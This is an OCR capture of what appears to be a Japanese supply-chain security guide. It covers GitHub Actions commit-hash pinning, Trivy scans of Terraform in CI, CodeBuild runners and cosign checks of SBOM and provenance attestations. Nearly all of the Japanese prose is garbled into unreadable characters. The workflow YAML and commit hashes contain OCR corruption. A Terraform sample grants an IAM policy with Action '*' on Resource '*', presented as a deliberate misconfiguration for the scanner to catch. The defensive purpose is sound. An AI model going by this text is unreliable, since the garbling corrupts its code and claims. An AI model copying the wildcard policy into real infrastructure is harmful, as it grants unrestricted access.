RIEL 7o TV D, o, FIHL TV DAY =AY 7 MU =T ZEFHTE D
A O (B AWS, GitHub, The Linux Foundation, Docker, Aqua
Security, HashiCorp. Canonical Ltd) HHETOLODLEZFIHL TWAH7=8,
ERAIZEE L TH U A7 IHRVREE L 2o TV D, T b 2 0D RIZK
D, RIERY—/VDIRANY AT ZFEMTE D, MAT, BT =—X%,
EBEMEREOEFITEII R\, ZOD, HERE W I BLENG & EITHFH
DR ZFRSTZ LN TE D,

NIREFEYOZEHEDIER
%@mmmm A
QO+~
7’!31(‘{'—%‘@
YRS Y ,PO
D )

3T : AT O 2 ENE D LR

MO ZEMEOHEE LTI, IKEWO Y 7 b =T EEE L TOEB,
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Maga BB, & L URGFYOEet - BEIEHREOHERNR B LoD, KFEMD
V7 U T7EEE L TOEREB LOMS O HkX, 3.32) [V—=2=
— N« R OEFEEOHL ] I TITWV ., IRFYOERM « EEMEIZ OV TR,
3.33) eV R ETOETHIFHOHIER] TELL,

GitHub Actions WTHEHTANEY 22—/ T 7 2 3 (action) HIKLE
MEirsd, ZHIZONWTHERMEEEIENZHRTI2MLERS D, Fl 21X
38 1277 Tactions/checkout] 1X, VAR FUANDOIEEY V-2 EZ 5
ST aryThY, FO Tavd) 1TV YV —X& 7 (Git #7) &mxrd, L
N, ZT7OEURTRIIEFEINDARERH Y, RELITRG 2V, &
B L7 WEERHA LenE 5, AXEAFILH S commit hash ZHifF L T
ETH I E T, Github Actions D7 7 v a OS2 « BEIEMEA MR LT
< fci 50 1213

% cat . github/workflows/build. yml
jobs:
build-and-del iver:
(FHER)
steps:
- name: Checkout
# uses: actions/checkout@v4
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

38: 7 UNY (E/NFR) FHEN T 472417 Action @ commit hash $57&
7277, Trivy=Cosign & W o 2B E N VMKFY — L ZHONW T,
FNODLEEMMAEOILY A%, KEMFIHE TH L —EAF— LI

T DATEEINOMAFA NI NIEZ I DA HEMEDN 8 D

5 A FL—CADARYMDRE

Fmsﬁiﬁ (FREEE) =

) =mm
r 3

EJ[}}"/T}}\J _____ AVFFAR—Y
—»
Provena ER Mm%

J

X 39 : 2 F L—NOREY) O #

2.2024/10 T commit hash PASMIZ KB AREMZ MM T D Immutable Actions 7% public preview & 72 -7z,
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X 44 .V — A a— R « [ G D15 fEME O AR

XA T T4 B DY —Aa— KL Terraform 7 7 A /L THV . KEWIX
Terraform Plan (Tfplan) & 725, Tfplan IZEURORER O EHF I N AHAHNE
BB L7 7 AV TH D, £, Tfplan 1T7 U NY O ASEIZ/R D DT,
Wasste, FriCAR ST F U FOGE TG OIRA Z BT 22 1T TR 5720,
B 2 1XFERRRR TE (CWE-266: Incorrect Privilege Assignment) D K 9 724K
Rz AR T VA TEELELGS, ROXIRET AL MNOTXT i B
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Exobhbd,

% cat sample. tf
resource “aws_iam_role_policy” “sample” {
name = “ex—iam-role-policy”
role = aws_iam_role. sample. id
policy = jsonencode ({
Version = “2012-10-17",
Statement = [

Effect = "Allow”,
Action = %",
Resource = “*

X 45 : HERANME DR
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2O WV o T 2 Trivy TR 22 &N TE S,

check-misconfig:
name: SAST (misconfig)
runs-on: ubuntu-latest
permissions:
contents: read
pul l-requests: write
steps:
- name: Checkout repository
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- name: trivy
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0

env:
TRIVY_DEBUG: ' true

with:
version: v0.55.1
scan-type: config
scanners: terraform, terraformplan—json, terraformplan-snapshot
severity: "CRITICAL, HIGH'
scan-ref: ./
format: table
output: misconfig-result. txt
exit-code. 1

46 : L RREN TR S 7= Trivy ORERAE A F v >

ZOWRFET, HERAMEDOFIELZETe PR DMERRSNTZBIL, ROFEIZZ T —
Erb,

<« Cl
© replaced secrets scan #114

| @ summary
Triggered via pull request 3 months ago Status Total duration Billable time
Jobs @ ken5scal synchronize #20 feature/replace-secretlin.. Failure 2m 20s 3m
@ pre
sast
© tf-plan.yml
@ secrets-scan on: pull_request
@ build
Run details @ pre 0s ® ® @ build 555
& Usage
9 Workflow file
© sast 1s
@ secrets-scan s
N ST - N ~ N
WY . - N -
X AT HERAMEIC L D BV B 7 = — XD &

W eB, BMEELTZ trivy (X v0.56 TH V| FEERFSTHEH O v0. 58 LIFFEINMNH Y | YBi%Lb—/id depreacted & 73

STV 5% https://github. com/aquasecurity/trivy/discussions/7878
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sast summary

Misconfiguration Output
v Click to expand

sample_resource.tf (terraform)

Tests: 2 (SUCCESSES: @, FAILURES: 2, EXCEPTIONS: 0)
Failures: 2 (HIGH: 2, CRITICAL: @)

HIGH: IAM policy document uses sensitive action 'x' on wildcarded resource 'x'

You should use the principle of least privilege when defining your IAM policies.

See https://avd.aquasec.com/misconfig/avd-aws-0057

sample_resource.tf:33
via sample_resource.tf:33 (aws_iam_role_policy.sample.policy)
via sample_resource.tf:32-41 (aws_iam_role_policy.sample.policy)
via sample_resource.tf:29-42 (aws_iam_role_policy.sample)

29 resource "aws_iam_role_policy" "sample" {
33 [ Version = "2012-10-17",

42}

48 : R LTSRN O NS @
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Virtual private cloud (VPC) @@

Amazon VPC Flow Logs

@ Public subnet

‘Amazon Route 53 Resolver
Query Logging

Amazon VRC Internet
Gataway

b
> D}D —
(&
Amazon VP NAT Gateway

Private subnet
@‘— ®

Amazon Elastic Container %
Registry /f-’:mi ‘h -
) flen

Amazon VP( Endpoints AWS CodeBuild
«—

Amazon Simple Storage
Service 53 Standard

% 50 : AWS @ VPC |Z X %55 5B/

%49 % GitHub Actions DFXIE & CodeBuild DX IEE ~T,

% cat . github/workflows/tf-plan. tf
jobs:
(FBR)
build:
needs: [pre]
env:
ENV: ${{ needs. pre. outputs. env }}
AWS_ACCOUNT: ${{ needs. pre. outputs. aws_account }}
runs-on: codebuild-${{ needs. pre. outputs. env }}-infra-build-pj-
${[ github. run_id }}-${{ github. run_attempt }}-arm-3.0-smal |

X 51 : BV RERENTE L RE/TESE % CodeBui ld (ZF57EJ % stk

Source provider Source identifier Repository Source version
GitHub -

Git clone depth Git submodules

1 False

¥ Primary source webhook events

Webhook
https://github.com/secure-brigade/mock-prv»infra/settings/hooks/-

Filter group 1

Event type
WORKFLOW_JOB_QUEUED
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52 : CodeBui ld ffllo> GitHub U AR N U $5E O i

B, RBEIETIEH 50, Azure TH[FFEDMHHANREI N TV B IED,
GitLab % AWS CodeBuild & OHHENAIREL EZ 2 B 5,
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jjobs:
pre:
runs-on: ubuntu-latest
(HPES)
verify-attestation:
needs: [pre]

env:
ENV: ${{ needs. pre. outputs. env }}
AWS_ACCOUNT: ${{ needs. pre. outputs. aws_account }}
runs—on: codebuild-${{ needs. pre. outputs. env }}-infra-build-pj-
${{ github. run_id }}-${{ github. run_attempt }}-arm-3.0-small
steps:
- name: Checkout repository
uses: act|ons/checkout@11bd71901bbe5b16300eea73d2759736409af683
- name: Install Cosign
uses: sigstore/cosign-installer@dc72¢7d5¢c4d10cd6bch8cfbed3fd625a9e5e537da
- name: Login to Amazon ECR
id: login-ecr
uses: aws-actions/amazon-ecr-
Iogin@062b1Eb96a7aff071d4ch1chOc4c1a7945b076
with:
registries: “${{ env. AWS_CENTRAL_MANAGED_ACCOUNT }}~
= name: |Verlfy And Obtain ABOM and Attestation
run
lMAGE DIGEST="${{ steps. login-ecr. outputs. registry }}/tf-
image@$ {{ env. IMAGE_DIGEST }}”~
cosign verify-attestation $IMAGE_DIGEST ¥
—private-infrastructure=true ¥
—key awskms:///arn:aws:kms:ap-northeast-1:xxxxxxx:alias/cosign-key ¥
——type slsaprovenance02 > /tmp/downloaed-verified-attestaton. json
cosign verify-attestation $IMAGE_DIGEST ¥
——private-infrastructure=true ¥
——key awskms:///arn:aws:kms:ap-northeast-1:xxxxxxx:alias/cosign-key ¥
—type cyclonedx > /tmp/downloaed-verified-sbom. cdx. json

54 : cosign Z oMo T v b7 — b F— LMD X X T — 2 DRSS L B4 G

AT FA A=V ERE T = OESENHEEE NS, RISV AT
BT D FIE~E L, —E2AF— ADOMGeMHEE BT HEIL T X 5 0 i
H120F, BB L7 7 A VDA v — K% Basebd 7 2— R LT, FEFEED SBOM
77 ANERSETS (¥ 55), Trivy TEONRFEMER L, MEIMHEE BT #HIC

Mo Labt, RG24 5,

cat /tmp downloaed ver i fied-sbom. cdx. json
{”payloadType : appllcatlon/vnd in- toto+Json ,“payload”:“eyJfd (BE&)
0=", "signatures”: [{"keyid”:"", "sig”:" (B&) ~
> /tmp/cdx. json
cat . github/workflows/verify-container. tf
%q;rivy sbom /tmp/cdx. json
/tmp/cdx. json (ubuntu 24.04)
Total: 14 (UNKNOWN: O, LOW: 6, MEDIUM: 8, HIGH: 0, CRITICAL: 0)
(gobinary)

T?Eg;: 2 (UNKNOWN: O, LOW: O, MEDIUM: 0, HIGH: 1, CRITICAL: 1)

cat /tmp/downloaed verlfled sbom. cdx. json| jq -r .payload | base64 -d | jq -r .predicate

55 : MU L7 A % 7 — 2 O FEROIE D EUS

MZT, AT FARA—YNEDLIREEL o A TERINT-DO)
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P —ERAF— ANOHERBE N ER 255 bEESND, 20 L5 RGEIE.
FBIWE 7Ty N7 4 —LF—LDCL/CD/NA T T A 2] Th_7= L RIERIZ,
Tfplan 7 7 A L ~DE-ZX° Provenance 72 ED X X5 — X R « MigE+ 57
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GitHub ECOMEFRIX. 3.43) 7 UNRUEFOFEN] & RERICITZ D, £z,
BV R 7 = — X THERR S Tfplan 7 7 AV HREHNE L THEHFIRETH 5,

terraform show artifacts/tfplan
Terraform used the selected providers to generate the following execution plan. Resource
actions are
indicated with the following symbols:

+ create

Terraform will perform the following actions:
# aws_iam_role_policy.sample will be created

+ resource “aws_iam_role_policy” “sample” {
+ id = (known after apply)

+ name = "9e2364d7-6742- 0855 f186-7bf225edaf7b—iam-role-policy”
+ name_prefix = (known after apply)
+ policy = jsonencode (
+ Statement = [
+
+ Action = "x"
+ Effect = "Allow”
+ Resource = “x”
]
+ Version = "2012-10-17"
)
+ role = "9e2364d7-6742-0855-f186-7bf225edaf7b—iam-role”

]
Plan: 1 to add, 0 to change, 0 to destroy

57 : Tfplan 22 5B 2 A HNE

Uk,
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